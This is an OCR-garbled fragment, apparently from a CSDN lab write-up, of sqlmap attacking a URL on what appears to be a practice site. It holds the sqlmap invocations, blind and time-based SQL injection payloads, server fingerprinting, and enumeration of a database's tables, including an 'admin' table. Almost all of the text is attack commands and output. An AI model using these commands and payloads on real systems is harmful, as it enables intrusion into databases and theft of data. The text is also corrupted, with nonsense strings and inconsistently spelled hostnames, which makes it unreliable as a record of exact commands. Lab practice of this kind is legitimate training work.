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HATIEA]: sqlmap -u "http://rhiq8003.ia.aglab.cn/?id=1"

WA B ArurlfFEsqiEAN


http://rhiq8003.ia.aqlab.cn/?id=1
http://rhiq8003.ia.aqlab.cn/?id=1

[ 1L ] resuming back-end DBMS 'mysql'
] ]

sqlmap resumed the following injection point(s) from stored session:

Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind — WHERE or HAVING clause
Payload: id=1 AND 4242=42442

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1 AND (SELECT 7865 FROM (SELECT(SLEEP(5)))tLln)

] ]
veb server operating system: Windows
veb application technology: PHP 5.4.45, Apache 2.4.23
back-end DBMS: MySQL >= 5.0.12
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] ] fetching current database
1L ] resumed: maoshe 3
current database: 'maoshe' CSDN @153
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N FHATIER]: sqlmap -u "http://rhig8003.ia.aglab.cn/?id=1" -D "maoshe" -tables
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fetching tables for database: 'maoshe’
fetching number of tables for database 'maoshe’
resumed: 4
resumed: admin
resumed: dirs
resumed: news
resumed: xss
Database: maoshe
[4 tables]
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